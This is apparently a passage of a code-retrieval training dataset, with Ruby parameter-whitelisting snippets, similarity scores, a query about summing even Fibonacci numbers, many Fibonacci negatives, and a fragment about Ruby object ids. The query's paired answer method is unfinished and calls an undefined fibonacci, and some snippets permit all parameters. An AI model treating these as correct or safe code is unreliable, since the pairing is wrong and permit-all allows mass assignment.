params(list)\n @declared_params = list\n end", "def admin_review_params\n params.fetch(:review, {}).permit(whitelisted_params)\n end", "def saved_list_params\n params.require(:saved_list).permit(:user_id)\n end", "def allow(ids); end", "def list_params\n params.require(:list).permit(:name)\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def filter_params(param_set, **kwargs)\r\n begin\r\n key = kwargs[:key]\r\n params.require(key).permit(*param_set)\r\n rescue Exception\r\n params.permit(*param_set)\r\n end\r\n end", "def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end", "def validate_paramified_params\n self.class.paramify_methods.each do |method|\n params = send(method)\n transfer_errors_from(params, TermMapper.scope(params.group)) if !params.valid?\n end\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def secure_params\n return @secure_params if @secure_params\n\n @implementation_class = implementation_class\n resname = @implementation_class.name.ns_underscore.gsub('__', '_').singularize.to_sym\n @secure_params = params.require(resname).permit(*permitted_params)\n end", "def refine_permitted_params(param_list)\n res = param_list.dup\n\n ms_keys = res.select { |a| columns_hash[a.to_s]&.array }\n ms_keys.each do |k|\n res.delete(k)\n res << { k => [] }\n end\n\n res\n end", "def recipient_list_params\n params.require(:recipient_list).permit(:name, :description, recipient_id_array: [])\n end", "def safelist; end", "def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end", "def valid_for_params_auth?; end", "def default_param_whitelist\n [\"mode\"]\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def shopping_list_params\n params.require(:shopping_list).permit!\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def permitters\n @_parametrizr_permitters || {}\n end", "def allow_params(action, keys: nil, except: nil, &blk)\n keys &&= Array.wrap(keys)\n keys ||= User.field_names\n except &&= Array.wrap(except)\n except ||= %i[id email]\n devise_parameter_sanitizer.permit(action, keys: keys, except: except, &blk)\n end", "def list_params\n if current_user && current_user.role == 'admin'\n params.require(:list).permit(:name, :url, :description, :user_id,\n ideas_attributes: [:id, :list_id, :body, :due_date, :completion_status, :_destroy])\n else\n params.require(:list).permit(:name, :description,\n ideas_attributes: [:body, :due_date, :completion_status]) \n end\n end", "def whitelist(params)\n send_request_of_type(GlobalConstant::PrivateOpsApi.private_ops_api_type, 'post', '/token-sale/whitelist', params)\n end", "def valid_access_params\n params.require(:valid_access).permit(:wish_list_id, :user_id)\n end", "def url_allowlist; end", "def ensure_redirected_params_are_safe!(passed_params)\n unless passed_params.is_a?(ActionController::Parameters) && passed_params.permitted?\n error_message = if passed_params.is_a?(ActionController::Parameters)\n unsafe_parameters = passed_params.send(:unpermitted_keys, params)\n \"[Rails::Prg] Error - Must use permitted strong parameters. Unsafe: #{unsafe_parameters.join(', ')}\"\n else\n \"[Rails::Prg] Error - Must pass strong parameters.\"\n end\n raise error_message\n end\n end", "def data_collection_params\n allow = [:name,:description,:institution,:collection_name,:country_id,:province_id,:city_id]\n params.require(:data_collection).permit(allow)\n end", "def quote_params\n params.permit!\n end" ]
[ "0.69497335", "0.6812623", "0.6803639", "0.6795365", "0.67448795", "0.67399913", "0.6526815", "0.6518771", "0.64931697", "0.6430388", "0.6430388", "0.6430388", "0.63983387", "0.6356042", "0.63535863", "0.63464934", "0.63444513", "0.6337208", "0.6326454", "0.6326454", "0.6326454", "0.63140553", "0.6299814", "0.62642586", "0.626006", "0.62578833", "0.6236823", "0.6227561", "0.6221758", "0.62200165", "0.620879", "0.61983657", "0.6195055", "0.6172993", "0.6156856", "0.61558664", "0.61521494", "0.6135789", "0.6121145", "0.61118174", "0.60736513", "0.6071645", "0.60632104", "0.60549796", "0.6043906", "0.6034662", "0.60207325", "0.6018568", "0.6016575", "0.60103434", "0.60084206", "0.600763", "0.6007443", "0.6003619", "0.6003619", "0.5995791", "0.5993301", "0.5993231", "0.5984926", "0.597122", "0.5968121", "0.5965808", "0.59640145", "0.59632224", "0.59602356", "0.59332967", "0.5927556", "0.5922805", "0.5909745", "0.5905083", "0.5904304", "0.5893434", "0.58888215", "0.58823985", "0.58823985", "0.58823985", "0.5873434", "0.58619875", "0.58533794", "0.5845531", "0.58426666", "0.58360124", "0.583218", "0.5828041", "0.5827927", "0.5816121", "0.5814705", "0.5812719", "0.581121", "0.5803423", "0.5803423", "0.57995003", "0.5794207", "0.5784923", "0.5781365", "0.5776385", "0.5774859", "0.57671493", "0.5766998", "0.57618684", "0.5758038" ]
0.0
-1
use an array to hold the fib numbers once any given the fib number is greater than limit stop .select the even numbers in the array and then .reduce it to the sum
def sum_of_even_fibonaccis2(n) fibs = [] nth = 0 fibs[nth] = fibonacci[nth] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def sum_of_even_fibonaccis(limit)\n\n holder = [1,2]\n\n while ( holder[-1] + holder[-2] ) < limit\n holder << holder[-1] + holder[-2]\n end\n\n return holder.select { |n| n.even? }.reduce(:+)\n\nend", "def sum_of_even_fibonaccis(limit)\n # Fibonacci sequence starts with 1,2\n holder = [1,2]\n\n # Adding the last 2 elements of the array together\n while (holder[-1] + holder[-2]) < limit\n # Push the sum of the last 2 numbers into the existing array\n holder << holder[-1] + holder[-2]\n # Repeat the while loop\n end\n # Return the array, but select only the even numbers and add them together\n return holder.select { |num| num.even? }.reduce(:+)\nend", "def even_fibonacci_sum(limit)\n array = [0, 1]\n array << (array[-1] + array[-2]) while (array[-1] + array[-2]) < limit\n array.select(&:even?).reduce(:+)\nend", "def even_fib_sum(array)\n# finds sum of array's even-valued terms\n array.select{ |i| i.even? }.reduce(&:+)\nend", "def fibonacci_evens_sum(limit)\n arr = []\n a,b = 0,1\n #While 'a' is less than the specified limit, the value of each subsequent number is the sum of the previous two,\n #creating the Fibonacci sequence.\n while a < limit\n arr << a\n a, b = b, a + b\n end\n #When the limit is reached the 'select' method returns an array of 'num's that are divisible by 2 with no remainder.\n #The 'reduce' method then adds every item in the returned array together. The 'reduce' method is just an alias for the \n #'inject' method, so they can be used interchangeably.\n sum = arr.select {|num| num % 2 == 0}.reduce(:+)\n puts sum\nend", "def find_fibonaccis(limit)\n fib_array = []\n i = 1\n while i <= limit\n first_num = fib_array[i-1] ||= 1 # 1, \n second_num = fib_array[i] ||= 1 # 1, \n result = first_num + second_num\n if result > limit\n break\n end\n fib_array << result\n i += 1\n end\n fib_array\nend", "def fibonnaci_even(limit)\n fibonnacci = [1, 1]\n (1...limit).each { fibonnacci << fibonnacci.last(2).sum }\n fibo_even = fibonnacci.select { |num| num.even? }.sum\nend", "def even_fibs(limit)\n a = []\n i = 0\n j = 1\n \n while j < limit do\n i, j = j, i+j\n a << j if j.even?\n end\n a.sum\nend", "def fib_arry\n arr = [1, 1]\n a = 0\n b = 1\n while arr[a] + arr[b] <= 4000000\n arr << (arr[a] + arr[b])\n a += 1\n b += 1\n end\n # step 2 determine which are even\n evens = arr.select { |num| num.even? }\n # step 3 sum\n puts \"This is the sum of all even fibonacci numbers less than 4,000,000: #{evens.reduce(:+)}\"\nend", "def fib \n arr = [0, 1]\n\n while arr[-1] + arr[-2] <= 4_000_000\n arr << arr[-1] + arr[-2]\n end\n arr.select(&:even?).inject(:+)\nend", "def even_fibonacci(limit)\r\n start = [1, 2]\r\n\r\n start << start.last(2).inject(:+) while start[-1] < limit\r\n\r\n start.select { |number| number.even? }.inject(:+)\r\nend", "def even_fib\n x=[0,1]\n i = 0\n a = []\n\n while x.last < 4000000\n x.push(x[i] + x[i+1])\n i += 1\n end\n\n x.pop\n\n x.each do |blah|\n if blah.even?\n a.push(blah)\n end\n \n end\n\n a.reduce(:+)\n\nend", "def sum_even_fibonacci(max)\r\n arr = [1,2]\r\n while arr[-1] + arr[-2] <= max\r\n arr << arr[-1] + arr[-2]\r\n end\r\n total = 0\r\n arr.each { |x| total += x if x.even? }\r\n total\r\nend", "def even_fib_sum(limit)\n fib0, fib1, sum = 1, 2, 0\n while fib1 <= limit\n sum += fib1 if fib1 % 2 == 0\n fib0, fib1 = fib1, fib0 + fib1\n end\n sum\nend", "def sum_evens(limit) \n e = []\n fibs(limit).each do |fib|\n \te << fib if fib.even?\n end\n e.inject(:+)\nend", "def sum_of_even_fib(max)\n sum = 0\n fib = [0, 1, 1]\n\n while fib.last < max\n next_term = fib[-1] + fib[-2]\n fib << next_term\n sum += next_term if next_term.even?\n end\n\n puts sum\nend", "def sum_evens max_number\n fibonacci_array.each do |value|\n even_number_array << value if value.even?\n end\n even_number_array.sum\n end", "def even_fibonacci_sum(limit)\n fib_seq = fibonacci_sequence(limit)\n sum = 0\n fib_seq.each{|fib_num| fib_num%2 == 0 ? (sum += fib_num) : ()}\n\n return sum\nend", "def sum_even_fib(upper_limit)\n sum = fib0 = 0\n fib = 1\n while (fib < upper_limit)\n sum+= fib if(fib%2 == 0)\n temp = fib0\n fib0 = fib\n fib+= temp\n end \n sum\nend", "def sum_of_fib_evens(limit_num)\n first = 1\n second = 2\n third = 3\n sum_evens = 2\n \n loop do\n first = second\n second = third\n third = first + second\n break if third > limit_num\n sum_evens += third if third.even?\n end\n \n sum_evens\nend", "def even_fibs_sum(num)\n fibs = [0,1]\n \n while fibs.max < num\n nexty = fibs[-1] + fibs[-2]\n fibs << nexty\n end\n \n sum = 0\n fibs.map {|x| sum += x if x.even? }\n \n return sum\nend", "def fibsBelow(limit)\n\tfibs = [1, 2]\n\ti = 0\n\tloop do\n\t\tnextFib = fibs[i] + fibs[i+1]\n\t\tbreak if nextFib > limit\n\t\tfibs << nextFib\n\t\ti += 1\n\tend\n\treturn fibs\nend", "def sum_even_fib_terms(max)\n sum = 0\n \n # initialize sequence\n t0 = 1\n t1 = 2\n \n while t1 < max\n if t1 % 2 == 0\n sum += t1\n end\n\n # advance to next term in the sequence\n t2 = t0 + t1\n t0 = t1\n t1 = t2\n end\n\n sum\nend", "def problem_two\n fibs(4_000_000).select { |n| n.even? }.reduce(&:+)\n end", "def sum_fib_evens(max)\n sum = 0\n n = 1\n while fibonacci(n) < max\n if fibonacci(n).even?\n sum += fibonacci(n)\n end\n n += 1\n end\n return sum\nend", "def fibonacci_sum(limit)\r\n\tsum = 0\r\n\tprev_term = 1\r\n\tcurr_term = 2\r\n\twhile curr_term <= limit \r\n\t\tsum += curr_term if curr_term % 2 == 0\r\n\t\thold = curr_term\r\n\t\tcurr_term += prev_term\r\n\t\tprev_term = hold\r\n\tend\r\n\treturn sum\r\nend", "def even_fibonacci_sum(limit)\n fibs = [1, 2]\n even_fibs = 2\n next_fib = 3\n\n while next_fib < limit\n fibs << next_fib\n #binding.pry\n even_fibs += next_fib if next_fib % 2 == 0\n next_fib += fibs[-2]\n end\n even_fibs\nend", "def even_fibo_summer(upper_limit)\n f0 = 0\n f1 = 1\n sum = 0\n\n loop do\n f2 = f0 + f1\n break if f2 > upper_limit\n # puts \"f2 is #{f2}\"\n sum += f2 if (f2 % 2 == 0)\n # puts \" sum is #{sum}\"\n f0 = f1\n f1 = f2\n # puts \" f0 is now #{f0} and f1 is now #{f1}\"\n end\n\n puts \"The sum of the even-valued Fibonacci numbers under #{upper_limit} is #{sum}.\"\nend", "def fib_even_sum(n)\n fib_arr = [1, 1]\n sum = 0\n\n until fib_arr[-1] >= n\n fib_arr << (fib_arr[-2] + fib_arr[-1])\n sum += fib_arr[-2] if fib_arr[-2].even?\n end\n\n sum\nend", "def generate_fibonacci_numbers(limit)\n i = 1\n fibonacci_numbers = [0, 1]\n sum = 0\n check = true\n\n while check == true do\n if fibonacci_numbers[i - 1] + fibonacci_numbers[i] > limit\n check = false\n else\n fibonacci_numbers << fibonacci_numbers[i - 1] + fibonacci_numbers[i]\n end\n\n i += 1\n end\n\n # return fibonacci_numbers.inspect\n\n fibonacci_numbers.each do |fib|\n if fib % 2 == 0\n sum += fib\n end\n end\n\n return sum\nend", "def fibevensum xmax\n a, b = 1, 2\n sum = 0\n while a < xmax\n sum += a if a.even?\n a, b = b, a + b\n end\n sum\nend", "def even_valued_number(x)\n fib_array = [0,1]\n x.times do\n fib_array << fib_array[-1] + fib_array[-2]\n end\n fib_array.find_all{ |number| number % 2 == 0}.reduce(:+)\nend", "def sum_even_fibonacci_numbers(num)\n even_fibonacci_numbers = fibonacci_numbers(num).select{|number| number.even?}\n even_fibonacci_numbers.inject(:+)\nend", "def fiboEvenSum(max)\n sequence([1,2], max).inject(0) do | sum, i |\n if i%2 == 0 \n sum + i\n else\n sum\n end\n end\nend", "def even_fib(limit) \n time = Benchmark.realtime {\n # fib sequence goes [0,1,2,3,4,5,6,7,8,9, 10 ...]\n # first few terms = [1,1,2,3,5,8,13..]\n limit = limit \n sum = 0\n first = 1 \n second = 1\n until second > limit \n if second % 2 ==0 \n sum += second\n end\n total = first + second\n puts \"adding first #{first} to second value #{second}\"\n first = second\n second = total\n puts \"total of two sequence = #{total}\"\n puts \" ---------------------------------------\"\n puts \"even sum is #{sum}\"\n puts \" ---------------------------------------\"\n end\n }\n p \"it took #{time} seconds\"\nend", "def get_all_fibs(num)\n a = 1; b = 2; c = 0;\n fibs = [a, b];\n while ((c = a + b) < num)\n fibs << c;\n a = b;\n b = c;\n end\n fibs.select {|x| x.even?}.inject(:+)\nend", "def even_fib_sum(n)\n f = ->(x){ x < 2 ? x : f[x-1] + f[x-2] }\n\n value =f[2]\n res = cnt = 0\n while value <= n\n res+=value if value.even?\n cnt+=1\n value=f[cnt]\n end\n res\nend", "def fib( max_val )\n x = [ 1, 2 ]\n while\n next_val = ( x[ -2 ] + x[ -1 ] )\n return x if next_val > max_val\n x << next_val \n end\nend", "def fib(first_num, second_num, limit) #add limit as additional argument\n while first_num + second_num < limit\n sum = first_num + second_num\n first_num = second_num\n second_num = sum\n end\n sum\nend", "def fib(limit, first_num, second_num) # made limit an argument to be passed in\n while first_num + second_num < limit\n sum = first_num + second_num\n first_num = second_num\n second_num = sum\n end\n sum\nend", "def sum(max)\n new_term = 0\n sequence = [1, 2]\n while new_term < max\n new_term = sequence[-1] + sequence[-2]\n sequence << new_term\n end\n sequence.pop\n p sequence\n p sequence.select(&:even?).sum\nend", "def sumOfFibsBelow(limit)\n\tfibs = fibsBelow(limit)\n\tsum = fibs.inject() {|result, num| result + num}\n\treturn sum\nend", "def fib(first_num, second_num, limit)\n while first_num + second_num < limit\n sum = first_num + second_num\n first_num = second_num\n second_num = sum\n end\n sum\nend", "def fib(first_num, second_num, limit)\n while first_num + second_num < limit\n sum = first_num + second_num\n first_num = second_num\n second_num = sum\n end\n sum\nend", "def fibs(limit, n=2)\n\t@a ||= []\n\tf = fib(n)\n\tif f < limit \n\t\t@a.push(f) \n\t\tn += 1\n\t\tfibs(limit, n)\n\telse\n\t\t@a\n\tend\nend", "def fibonacci\n\n # write a fibonacci sequence\n # make an array\n fibonacci_sequence = [1, 2, 3, 5, 8]\n while true\n the_length = fibonacci_sequence.count - 1\n if fibonacci_sequence[the_length] + fibonacci_sequence[the_length - 1] > 4000000\n break\n end\n fibonacci_sequence << (fibonacci_sequence[the_length] + fibonacci_sequence[the_length - 1])\n end\n # p fibonacci_sequence\n\n # find the even numbers in an array\n # find if a particular number is even\n # make a loop to check them all\n even_array = []\n fibonacci_sequence.each do |number|\n if number % 2 == 0\n even_array << number\n else\n end\n end\n\n p even_array\n\n sum = 0\n even_array.each do |number|\n sum += number\n end\n\n p sum\nend", "def problem_2_build_fib_array(upper_limit)\n fib_array = [1,2]\n while fib_array.last < upper_limit\n next_fib = fib_array[-1] + fib_array[-2]\n fib_array << next_fib\n end\n fib_array.pop\n fib_array\nend", "def fib(first_num, second_num, limit=15)\n while second_num < limit\n sum = first_num + second_num\n first_num = second_num\n second_num = sum\n end\n sum\n end", "def fib(first_num, second_num, limit)\n while second_num < limit\n sum = first_num + second_num\n first_num = second_num\n second_num = sum\n end\n sum\nend", "def fib(first_num, second_num, limit)\n while second_num < limit\n sum = first_num + second_num\n first_num = second_num\n second_num = sum\n end\n sum\nend", "def fib(first_num, second_num, limit)\n while second_num < limit\n sum = first_num + second_num\n first_num = second_num\n second_num = sum\n end\n sum\nend", "def fib(first_num, second_num, limit)\n while second_num < limit\n sum = first_num + second_num\n first_num = second_num\n second_num = sum\n end\n sum\nend", "def fib(first_num, second_num, limit)\n while second_num < limit\n sum = first_num + second_num\n first_num = second_num\n second_num = sum\n end\n sum\nend", "def fib(first_num, second_num, limit)\n while second_num < limit\n sum = first_num + second_num\n first_num = second_num\n second_num = sum\n end\n sum\nend", "def fib(first_num, second_num, limit)\n while second_num < limit\n sum = first_num + second_num\n first_num = second_num\n second_num = sum\n end\n sum\nend", "def fib(first_num, second_num, limit)\n while second_num < limit\n sum = first_num + second_num\n first_num = second_num\n second_num = sum\n end\n sum\nend", "def fib(first_num, second_num, limit)\n while second_num < limit\n sum = first_num + second_num\n first_num = second_num\n second_num = sum\n end\n sum\nend", "def fib(limit)\n\tfib = 0\n\tprev = 1\n\tcurrent = 1\n\twhile current < limit\n\t\tif (prev + current).even? && (current + prev) < limit\n\t\t\tfib += (prev + current)\n\t\tend\n\n\t\told_current = current\n\t\tcurrent = prev + current\n\t\tprev = old_current\n\tend\n\tfib\nend", "def fib_sequence(limit)\n seq = [1,2]\n while seq[-1] + seq[-2] < limit do\n seq << seq[-1] + seq[-2]\n end\n\n return seq\nend", "def fib(first_num, second_num, limit=15)\n while first_num + second_num < limit\n sum = first_num + second_num\n first_num = second_num\n second_num = sum\n end\n sum\nend", "def fib(target)\n\tseries = [1, 2]\n\tbegin\n\t\tseries << series.last(2).reduce(:+)\n\tend while series.last < target\n\tseries.delete(series.last)\n\tseries\nend", "def fib(first_num, second_num)\n while second_num < LIMIT\n sum = first_num + second_num\n first_num = second_num\n second_num = sum\n end\n sum\nend", "def fib(first_num, second_num)\n limit = 15\n while first_num + second_num < limit\n sum = first_num + second_num\n first_num = second_num\n second_num = sum\n end\n sum\nend", "def even_fibonacci(limit, current, prev, sum = 0)\n return sum if current >= limit\n\n sum += current if (current % 2).zero?\n current, prev = current + prev, current\n even_fibonacci(limit, current, prev, sum)\nend", "def fib_even_sum(user_array)\n sum = 0\n user_array.each do |num|\n if (num % 2 == 0)\n sum += num\n end\n end\n return sum\nend", "def fib(first_num, second_num, limit = 15)\n while second_num < limit\n sum = first_num + second_num\n first_num = second_num\n second_num = sum\n end\n sum\nend", "def fib(first_num, second_num, limit = 15)\n while second_num < limit\n sum = first_num + second_num\n first_num = second_num\n second_num = sum\n end\n sum\nend", "def fib(first_num, second_num, limit = 15)\n while second_num < limit\n sum = first_num + second_num\n first_num = second_num\n second_num = sum\n end\n sum\nend", "def even_fibonacci_numbers(maxNumber)\n\n sum = 0\n\n previous_num = 1\n current_num = 2\n\n while(current_num < maxNumber)\n\n if(even?(current_num))\n sum += current_num\n end\n\n temp_current_num = current_num\n current_num += previous_num\n previous_num = temp_current_num\n\n end\n\n return sum\n\nend", "def fibonacci_numbers\n fibonacci_snapshot = [1,2]\n fibonacci_results = []\n loop do\n return fibonacci_results if fibonacci_snapshot[1] > 4_000_000\n fibonacci_snapshot << fibonacci_snapshot.reduce(:+)\n fibonacci_results << fibonacci_snapshot[0]\n fibonacci_snapshot.shift\n end\nend", "def four_million_fibonacci()\n arr = [1, 2]\n num = 0\n even_sum = 2\n\n while num < 4000000 do\n num = arr[-1] + arr[-2]\n arr << num\n if num % 2 == 0 \n even_sum += num \n end\n end\n\n puts even_sum\nend", "def fibs(num)\n array = []\n 0.upto(num) do |i|\n array << i if i.zero? || i == 1\n array << array[i - 1] + array[i - 2] if i > 1\n end\n array\nend", "def sumOfEvenFibonacciNumbersUnderN(n)\n\n return 0 if n <= 2 \n \n fibonacci = [0,1]\n total = 0\n\n until fibonacci.last >= n\n \tfibonacci << fibonacci.last + fibonacci[-2]\n \ttotal += fibonacci[-1] if fibonacci[-1].even? \n end\n\n total \n\nend", "def fib(first_num, second_num)\n limit = 15\n while second_num < limit\n sum = first_num + second_num\n first_num = second_num\n second_num = sum\n end\n sum \nend", "def even_fib_sum\n a = 1\n b = 2\n c = a + b\n sum = 2\n while c < 4000000\n a = b\n b = c\n c = a + b\n sum += c if (c % 2 == 0) && (c < 4000000)\n end\n sum\nend", "def fib(first_num, second_num)\n limit = 15\n\n while second_num < limit\n sum = first_num + second_num\n first_num = second_num\n second_num = sum\n end\n sum\nend", "def fibs(n)\n list = [0, 1]\n if n == 0\n return []\n elsif n == 1\n return [0]\n elsif n == 2\n return [0, 1]\n else \n counter = 2\n while counter < n\n sum = 0\n list.each_with_index do |element, index|\n if index >= list.length - 2\n sum += element\n end\n end\n list.push(sum)\n counter += 1\n end\n end\n return list\nend", "def evenFibs(num2)\n sumArray = []\n fib_index = 3\n a, b = 1, 1\n\n # push Fibonacci to array \n while fib_index <= num2\n c = a + b\n a = b\n b = c\n fib_index += 1\n\n if ((c % 2) == 0)\n sumArray.push c\n end\n end\n\n d = sumArray.inject(:+)\n\n puts d.to_s\n\nend", "def get_even_fib(max_num)\n\tnum1 = 1\n\tnum2 = 2\n\tcurrent_num = num2\n\teven_fib = []\n\twhile(num2 < max_num)\n\t\tif (num2 % 2 == 0)\n\t\t\teven_fib.push num2\n\t\tend\n\t\tcurrent_num = num2\n\t\tnum2 = num1 + num2\n\t\tnum1 = current_num\n\tend\n\teven_fib\nend", "def fib(first_num, second_num)\n limit = 15\n while second_num < limit\n sum = first_num + second_num\n first_num = second_num\n second_num = sum\n end\n sum\nend", "def fib(first_num, second_num)\n limit = 15\n while second_num < limit\n sum = first_num + second_num\n first_num = second_num\n second_num = sum\n end\n sum\nend", "def fib(first_num, second_num)\n limit = 15\n while second_num < limit\n sum = first_num + second_num\n first_num = second_num\n second_num = sum\n end\n sum\nend", "def fib(first_num, second_num)\n limit = 15\n while second_num < limit\n sum = first_num + second_num\n first_num = second_num\n second_num = sum\n end\n sum\nend", "def even_fibonnaci_numbers(number)\n first = 1\n second = 1\n fibonnaci = first + second\n total = 0\n\n until fibonnaci > number\n total += fibonnaci if fibonnaci.even?\n\n first = second\n second = fibonnaci\n fibonnaci = first + second\n end\n\n return total\nend", "def Fibonacci_max()\n\ts = [1,1]\n\tputs s\n\tx = s.last\n\teven_sum = 0\n\twhile x < 4000000 \n\t\tc = s.count\n\t\tn = s[c-2]+s[c-1]\n\t\ts.push(n)\n\t\teven_sum = even_sum + n if n%2 == 0\n\t\tx = s.last\n\tend\t\n\ts.delete(s.last)\n\tputs even_sum\n\nend", "def fib(first_num, second_num)\n limit = 15\n while first_num + second_num < limit\n sum = first_num + second_num\n first_num = second_num\n second_num = sum\n end\n sum\nend", "def fib(first_num, second_num)\n limit = 15\n while first_num + second_num < limit\n sum = first_num + second_num\n first_num = second_num\n second_num = sum\n end\n sum\nend", "def fib(first_num, second_num)\n limit = 15\n while first_num + second_num < limit\n sum = first_num + second_num\n first_num = second_num\n second_num = sum\n end\n sum\nend", "def fib(first_num, second_num)\n limit = 15\n while first_num + second_num < limit\n sum = first_num + second_num\n first_num = second_num\n second_num = sum\n end\n sum\nend", "def fibo_finder(n)\n fib_array = [0, 1]\n (2..n).each do |i|\n fib_array << fib_array[i-1] + fib_array[i-2]\n end\n fib_array[n]\nend", "def fibs(n, ary = [0,1])\n n.times { ary << ary[-2] + ary[-1] until ary.length == n }\n return ary\nend", "def fibonacci_seq(max)\n first = 1\n second = 2\n sum = 2 # accounts for the first fibonacci pair\n while((first + second) < max)\n third = first + second\n first = second\n second = third\n sum += third if third.even?\n end\n puts sum\nend", "def fib bound\n\tsum = 0\n\tval1 = 1\n\tval2 = 2\n\ttotal = val2\n\twhile true\n\t\tsum = val1 + val2\n\t\tbreak if sum > bound \n\t\t\n\t\tval1 = val2\n\t\tval2 = sum\n\t\ttotal += sum if sum%2 == 0\n\tend\n\n\ttotal\nend", "def problem2(num)\n f = [1,2]\n f.push(f[-2..-1].reduce(:+)) until f[-1] >= num\n f.select{|n| n.even?}.reduce(:+)\nend", "def fibbernacho(number)\n\t\n\tprimer = [0,1,1]\n\tn= 0\n\tevensum = 0\nwhile n <=100 && primer.last < 5000000\n\tprimer << (primer.last + primer[-2])\n\tprimer.last\n\t\tif primer.last % 2 == 0\n \t\t evensum += primer.last\n\t\tend\n\tn+=1\n\tend\n\tputs \"The sum of all even Fibbonacci numbers in the sequence up to #{number} is #{evensum}\"\n\tputs \"The value chain: #{primer.inspect}\"\nend", "def fib_numbers(max) #max must be integer 1 or greater\n\tfib = [1,1]\n\n\ti = 1\n\n\twhile fib[i] < max\n\t\tfib << fib[i] + fib[i-1]\n\t\ti += 1\n\tend\n\n\tfib.delete_at(fib.length - 1) if fib.last > max\n\n\treturn fib\nend", "def fibonacci_sequence(limit)\n fib_seq = [1,2]\n i = 1\n until fib_seq[i] + fib_seq[i-1] > limit\n fib_seq.push(fib_seq[i] + fib_seq[i-1])\n i += 1\n end\n\n return fib_seq\nend", "def fib2(first_num, second_num)\n limit = 100\n while second_num < limit\n sum = first_num + second_num\n first_num = second_num\n second_num = sum\n end\n sum\nend", "def euler2\n fibs = [1, 2]\n sum = 2\n fn = 0\n\n while fn < 4000000\n\n fn = fibs[fibs.length-1] + fibs[fibs.length-2]\n fibs.push(fn)\n\n if fn % 2 == 0\n sum = sum + fn\n end\n\n end\n\nend", "def get_fibonacci_numbers(number_terms, fibonacci_max_term_value)\n fibonacci_numbers = [1,1]\n\n i = 0\n fibonacci_next_new_number = 0\n until i == number_terms - 1 || fibonacci_next_new_number > fibonacci_max_term_value\n fibonacci_new_number = fibonacci_numbers[i] + fibonacci_numbers[i+1]\n fibonacci_numbers << fibonacci_new_number\n i += 1\n fibonacci_next_new_number = fibonacci_numbers[i] + fibonacci_numbers[i+1]\n end\n puts \"The loop broke after #{i+1} terms for max value term set at #{fibonacci_max_term_value} :\"\n return fibonacci_numbers\nend", "def fibo(target_number)\n\ta=0;\n\tb=1;\n\tseries = Array.new #this global variable will contains series \n\t(0..target_number).each do |i|\n\t\tif i<2\n\t\t\tseries[i]=i\n\t\telse\n\t\t\tc=a+b\n\t\t\ta,b=b,c\n\t\t\tseries[i]=c\n\t\tend\t\n\tend\n\treturn series\nend" ]
[ "0.85775036", "0.8469088", "0.83304024", "0.82275647", "0.82227796", "0.8209696", "0.8179367", "0.8148927", "0.8043802", "0.80355006", "0.7938257", "0.79273313", "0.7880461", "0.7850168", "0.7790345", "0.77817625", "0.7743216", "0.7688723", "0.7624452", "0.76101524", "0.7606632", "0.75303525", "0.75281405", "0.7497638", "0.74932045", "0.746592", "0.74535435", "0.7427071", "0.74229175", "0.74199265", "0.74197847", "0.73907834", "0.73906255", "0.73829406", "0.7376166", "0.7369633", "0.73678654", "0.7338756", "0.7247647", "0.72258085", "0.72228056", "0.72125655", "0.7204937", "0.7204937", "0.7198668", "0.7198095", "0.71919733", "0.7171971", "0.7170219", "0.7170219", "0.7170219", "0.7170219", "0.7170219", "0.7170219", "0.7170219", "0.7170219", "0.7170219", "0.7169795", "0.7142829", "0.71366847", "0.7134634", "0.7128996", "0.7120442", "0.7112356", "0.710769", "0.70969504", "0.70969504", "0.70969504", "0.7068509", "0.7053998", "0.70440865", "0.70334697", "0.7022774", "0.7019189", "0.7011259", "0.7006281", "0.69976777", "0.69922495", "0.69769466", "0.6962096", "0.6962096", "0.6962096", "0.6962096", "0.69602865", "0.6959925", "0.6953426", "0.6953426", "0.6953426", "0.6953426", "0.69506234", "0.6932612", "0.6928941", "0.69165367", "0.6901855", "0.688297", "0.68728167", "0.68638045", "0.6860305", "0.6857259", "0.6853426", "0.68512446" ]
0.0
-1
Notice that Ruby reused the "42 object with id 85" when the value was the same. => a_outer is 42 with an id of: 85 before the block. => b_outer is forty two with an id of: 15592360 before the block. => c_outer is [42] with an id of: 15592160 before the block. => d_outer is 42 with an id of: 85 before the block. Notice that Ruby did NOT change the id for any of the objects between outside and inside the block => a_outer id was 85 before the block and is: 85 inside the block. => b_outer id was 15592360 before the block and is: 15592360 inside the block. => c_outer id was 15592160 before the block and is: 15592160 inside the block. => d_outer id was 85 before the block and is: 85 inside the block. Notice that changing the values has forced Ruby to create new objects and refer to them with original names. => a_outer inside after reassignment is 22 with an id of: 85 before and: 45 after. => b_outer inside after reassignment is thirty three with an id of: 15592360 before and: 22281760 after. => c_outer inside after reassignment is [44] with an id of: 15592160 before and: 22281740 after. => d_outer inside after reassignment is 44 with an id of: 85 before and: 89 after. Notice that Ruby reuses the objects under the hood when it can, but uses different ones for different values. => a_inner is 22 with an id of: 45 inside the block (compared to 45 for outer). => b_inner is thirty three with an id of: 22281760 inside the block (compared to 22281760 for outer). => c_inner is [44] with an id of: 22281740 inside the block (compared to 22281740 for outer). => d_inner is 44 with an id of: 89 inside the block (compared to 89 for outer). => a_outer is 22 with an id of: 85 BEFORE and: 45 AFTER the block. => b_outer is thirty three with an id of: 15592360 BEFORE and: 22281760 AFTER the block. => c_outer is [44] with an id of: 15592160 BEFORE and: 22281740 AFTER the block. => d_outer is 44 with an id of: 85 BEFORE and: 89 AFTER the block. Notice that once we leave the block, those variables that were defined inside the block lose their meaning => ugh ohhhhh => ugh ohhhhh => ugh ohhhhh => ugh ohhhhh Question 2 Let's look at object id's again 